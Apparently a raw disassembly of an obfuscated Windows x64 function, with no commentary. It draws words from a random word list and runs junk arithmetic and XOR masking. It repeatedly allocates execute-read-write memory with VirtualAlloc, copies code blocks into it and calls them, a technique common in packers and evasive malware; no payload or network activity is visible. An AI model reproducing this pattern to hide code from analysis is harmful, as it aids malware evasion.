lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x1710]
call fcn.140022230
nop
lea rcx, [rbp + 0x2d8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x770]
call fcn.1400086c0
lea rcx, [rbp + 0x778]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0x2e0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x1710]
call fcn.140022230
nop
lea rcx, [rbp + 0x2e0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x778]
call fcn.1400086c0
lea rcx, [rbp + 0x780]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0x2e8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0x1710]
call fcn.140022230
nop
lea rcx, [rbp + 0x2e8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x780]
call fcn.1400086c0
lea rcx, [rbp + 0x788]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x1710]
call fcn.140022230
nop
lea rcx, [rbp + 0x2f0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x788]
call fcn.1400086c0
lea rcx, [rbp + 0x790]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x2f8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x1710]
call fcn.140022230
nop
lea rcx, [rbp + 0x2f8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x790]
call fcn.1400086c0
lea rcx, [rbp + 0x798]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x300]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x1710]
call fcn.140022230
nop
lea rcx, [rbp + 0x300]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x798]
call fcn.1400086c0
lea rcx, [rbp + 0x23f8]
call fcn.140009fc0
mov qword [rbp + 0x7a8], 0x64
mov rax, qword [rbp + 0x23f8]
mov qword [rbp + 0x7b0], rax
lea r8, [rbp + 0x7a8]
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0xe48]
call fcn.140022100
mov rsi, qword [rax]
mov qword [rbp - 0x80], rsi
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2c20]
call fcn.140005020
nop
lea rcx, [rbp + 0x7d0]
call fcn.140009fc0
mov qword [rbp + 8], rsi
mov rax, qword [rax]
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140021870
test al, al
jns 0x14000ebe7
nop dword [rax]
mov r14d, 0x2710
lea rsi, [rbp + 0x15798]
nop dword [rax]
mov r9d, dword [rbp + 0x154c]
mov r8d, dword [rbp + 0x1548]
lea rdx, [rbp + 0x5660]
lea rcx, [rbp + 0x1548]
call fcn.140009bf0
mov rbx, qword [rbp + 0x1718]
sub rbx, qword [rbp + 0x1710]
sar rbx, 3
mov r9d, dword [rbp + 0x154c]
mov r8d, dword [rbp + 0x1548]
lea rdx, [rbp + 0x5660]
lea rcx, [rbp + 0x1548]
call fcn.140009bf0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x1710]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
mov r9d, dword [rbp + 0x154c]
mov r8d, dword [rbp + 0x1548]
lea rdx, [rbp + 0x5660]
lea rcx, [rbp + 0x1548]
call fcn.140009bf0
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2070], xmm0
mov qword [rbp + 0x2080], rax
mov rdx, rsi
lea rcx, [rbp + 0x2070]
call fcn.140009f70
nop
mov dword [rbp + 0x1640], r12d
mov dword [rbp + 0x1644], 0x19
lea rcx, [rbp + 0x2c20]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2c20]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x14000dccd
nop dword [rax + rax]
mov r9d, dword [rbp + 0x1644]
mov r8d, dword [rbp + 0x1640]
lea rdx, [rbp + 0x5660]
lea rcx, [rbp + 0x1640]
call fcn.140009bf0
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x14000dca0
mov rcx, qword [rbp + 0x2070]
xor rcx, qword [rbp + 0x2078]
mov qword [rbp + 0x2070], rcx
mov rax, qword [rbp + 0x2080]
mov qword [rax], rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x16e0], xmm0
mov qword [rbp + 0x16f0], rax
lea rcx, [rbp + 0x16e0]
call fcn.140008aa0
mov edx, 0x64
lea rcx, [rbp + 0x16e0]
call fcn.1400074f0
nop
lea rax, [rbp + 0x1548]
mov qword [rbp + 0x9d0], rax
lea rax, [rbp + 0x5660]
mov qword [rbp + 0x9d8], rax
movups xmm6, xmmword [rbp + 0x9d0]
lea rdx, [rbp + 0xe50]
lea rcx, [rbp + 0x16e0]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xe58]
lea rcx, [rbp + 0x16e0]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0xe60]
lea rcx, [rbp + 0x16e0]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xe68]
lea rcx, [rbp + 0x16e0]
call fcn.140021420
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2088], xmm0
mov qword [rbp + 0x2098], rax
mov rdx, rsi
lea rcx, [rbp + 0x2088]
call fcn.140009f70
nop
mov dword [rbp + 0x1a50], 0xffffff9c
mov dword [rbp + 0x1a54], 0x64
lea rax, [rbp + 0x1a50]
mov qword [rbp + 0x9c0], rax
lea rax, [rbp + 0x5660]
mov qword [rbp + 0x9c8], rax
movups xmm6, xmmword [rbp + 0x9c0]
lea rdx, [rbp + 0xe70]
lea rcx, [rbp + 0x16e0]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0xe78]
lea rcx, [rbp + 0x16e0]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0x16e0]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xe88]
call fcn.140021780
lea rdx, [rbp + 0xe90]
lea rcx, [rbp + 0x16e0]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xe98]
lea rcx, [rbp + 0x16e0]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021f90
nop
mov rcx, qword [rbp + 0x2088]
xor rcx, qword [rbp + 0x2090]
mov qword [rbp + 0x2088], rcx
mov rax, qword [rbp + 0x2098]
mov qword [rax], rcx
lea rdx, [rbp + 0x5660]
lea rcx, [rbp + 0x1938]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0x5660]
lea rcx, [rbp + 0x1938]
call fcn.140021f10
movsd qword [rbp + 0x1a60], xmm0
movsd qword [rbp + 0x1a58], xmm6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2118], xmm0
mov qword [rbp + 0x2128], rax
mov rdx, rsi
lea rcx, [rbp + 0x2118]
call fcn.140009f70
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x20a0], xmm0
mov qword [rbp + 0x20b0], rax
mov rdx, rsi
lea rcx, [rbp + 0x20a0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a520]
lea rbx, [0x140021750]
test rax, rax
je 0x14000df99
nop dword [rax + rax]
cmp rax, rbx
je 0x14000df86
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a520]
test rax, rax
jne 0x14000df70
jmp 0x14000df99
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69230]
test r8, r8
jne 0x14000e07f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000dfc2
mov r8, r12
jmp 0x14000e05e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000dfd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
mov qword [r13 + rax*8 + 0x6a520], rbx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1a60]
lea rcx, [0x140009f30]
call r8
nop
mov rcx, qword [rbp + 0x20a0]
xor rcx, qword [rbp + 0x20a8]
mov qword [rbp + 0x20a0], rcx
mov rax, qword [rbp + 0x20b0]
mov qword [rax], rcx
addsd xmm0, xmm7
movsd qword [rbp + 0x7b8], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x20b8], xmm0
mov qword [rbp + 0x20c8], rax
mov rdx, rsi
lea rcx, [rbp + 0x20b8]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14000e119
nop
cmp rax, r15
je 0x14000e106
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14000e0f0
jmp 0x14000e119
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14000e1ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000e142
mov r8, r12
jmp 0x14000e1de
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000e150
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a58]
lea rcx, [0x14002ed10]
call r8
movaps xmm9, xmm0
mov rcx, qword [rbp + 0x20b8]
xor rcx, qword [rbp + 0x20c0]
mov qword [rbp + 0x20b8], rcx
mov rax, qword [rbp + 0x20c8]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x20d0], xmm1
mov qword [rbp + 0x20e0], rax
mov rdx, rsi
lea rcx, [rbp + 0x20d0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006d450]
lea rbx, [0x140021750]
test rax, rax
je 0x14000e299
nop dword [rax]
cmp rax, rbx
je 0x14000e286
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x14000e270
jmp 0x14000e299
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68be0]
test r8, r8
jne 0x14000e37f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000e2c2
mov r8, r12
jmp 0x14000e35e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000e2d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
mov qword [r13 + rax*8 + 0x6d450], rbx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x7b8]
lea rcx, [0x14002e7e0]
call r8
movaps xmm8, xmm0
mov rcx, qword [rbp + 0x20d0]
xor rcx, qword [rbp + 0x20d8]
mov qword [rbp + 0x20d0], rcx
mov rax, qword [rbp + 0x20e0]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x20e8], xmm1
mov qword [rbp + 0x20f8], rax
mov rdx, rsi
lea rcx, [rbp + 0x20e8]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14000e40e
cmp rax, r15
je 0x14000e3fb
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14000e3e5
jmp 0x14000e40e
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14000e4f1
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000e437
mov r8, r12
jmp 0x14000e4d0
mov rax, r15
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000e442
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a58]
lea rcx, [0x14002e260]
call r8
movaps xmm6, xmm0
mov rcx, qword [rbp + 0x20e8]
xor rcx, qword [rbp + 0x20f0]
mov qword [rbp + 0x20e8], rcx
mov rax, qword [rbp + 0x20f8]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x2100], xmm1
mov qword [rbp + 0x2110], rax
mov rdx, rsi
lea rcx, [rbp + 0x2100]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14000e57f
cmp rax, r15
je 0x14000e56c
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14000e556
jmp 0x14000e57f
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14000e66f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000e5a8
mov r8, r12
jmp 0x14000e64e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000e5c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a60]
lea rcx, [0x14002dcf0]
call r8
nop
mov rcx, qword [rbp + 0x2100]
xor rcx, qword [rbp + 0x2108]
mov qword [rbp + 0x2100], rcx
mov rax, qword [rbp + 0x2110]
mov qword [rax], rcx
mulsd xmm0, xmm6
addsd xmm0, xmm8
subsd xmm0, xmm9
mov rcx, qword [rbp + 0x2118]
xor rcx, qword [rbp + 0x2120]
mov qword [rbp + 0x2118], rcx
mov rax, qword [rbp + 0x2128]
mov qword [rax], rcx
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
mov dword [rbp + 0x4c], 3
lea rdx, [rbp + 0x5660]
lea rcx, [rbp + 0x1938]
call fcn.140021f10
movsd qword [rbp + 0x7c0], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2130], xmm0
mov qword [rbp + 0x2140], rax
mov rdx, rsi
lea rcx, [rbp + 0x2130]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006c170]
lea rbx, [0x140021830]
test rax, rax
je 0x14000e75d
cmp rax, rbx
je 0x14000e74a
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x14000e734
jmp 0x14000e75d
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6b7f0]
test r9, r9
jne 0x14000e840
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14000e786
mov r9, r12
jmp 0x14000e81f
mov rax, rbx
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000e791
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], rbx
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0x4c]
lea rdx, [rbp + 0x7c0]
lea rcx, [0x140009f50]
call r9
nop
mov rcx, qword [rbp + 0x2130]
xor rcx, qword [rbp + 0x2138]
mov qword [rbp + 0x2130], rcx
mov rax, qword [rbp + 0x2140]
mov qword [rax], rcx
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
lea rdx, [rbp + 0x5660]
lea rcx, [rbp + 0x1938]
call fcn.140021f10
movsd qword [rbp + 0x7c8], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2148], xmm0
mov qword [rbp + 0x2158], rax
mov rdx, rsi
lea rcx, [rbp + 0x2148]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a840]
lea rbx, [0x140021750]
test rax, rax
je 0x14000e909
nop dword [rax]
cmp rax, rbx
je 0x14000e8f6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a840]
test rax, rax
jne 0x14000e8e0
jmp 0x14000e909
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69ba0]
test r8, r8
jne 0x14000e9ef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000e932
mov r8, r12
jmp 0x14000e9ce
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000e940
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], rbx
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x7c8]
lea rcx, [0x140009f60]
call r8
nop
mov rcx, qword [rbp + 0x2148]
xor rcx, qword [rbp + 0x2150]
mov qword [rbp + 0x2148], rcx
mov rax, qword [rbp + 0x2158]
mov qword [rax], rcx
mulsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [rsp + 0x60]
mov r9d, dword [rbp + 0x154c]
mov r8d, dword [rbp + 0x1548]
lea rdx, [rbp + 0x5660]
lea rcx, [rbp + 0x1548]
test al, 1
jne 0x14000ea5d
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
jmp 0x14000ea68
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x1589], 0
mov edi, 5
nop dword [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rbp + 0x154c]
mov r8d, dword [rbp + 0x1548]
lea rdx, [rbp + 0x5660]
lea rcx, [rbp + 0x1548]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
lea rdx, [rbp + 0x5660]
lea rcx, [rbp + 0x1938]
call fcn.140021f10
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0x5660]
test bl, 1
jne 0x14000eb0d
mov r9d, dword [rbp + 0x154c]
mov r8d, dword [rbp + 0x1548]
lea rcx, [rbp + 0x1548]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
imul ecx, eax
mov dword [rsp + 0x60], ecx
jmp 0x14000eb2d
lea rcx, [rbp + 0x1938]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm7
divsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
inc ebx
cmp ebx, 5
jl 0x14000ea90
sub rdi, 1
jne 0x14000ea80
mov r9d, dword [rbp + 0x154c]
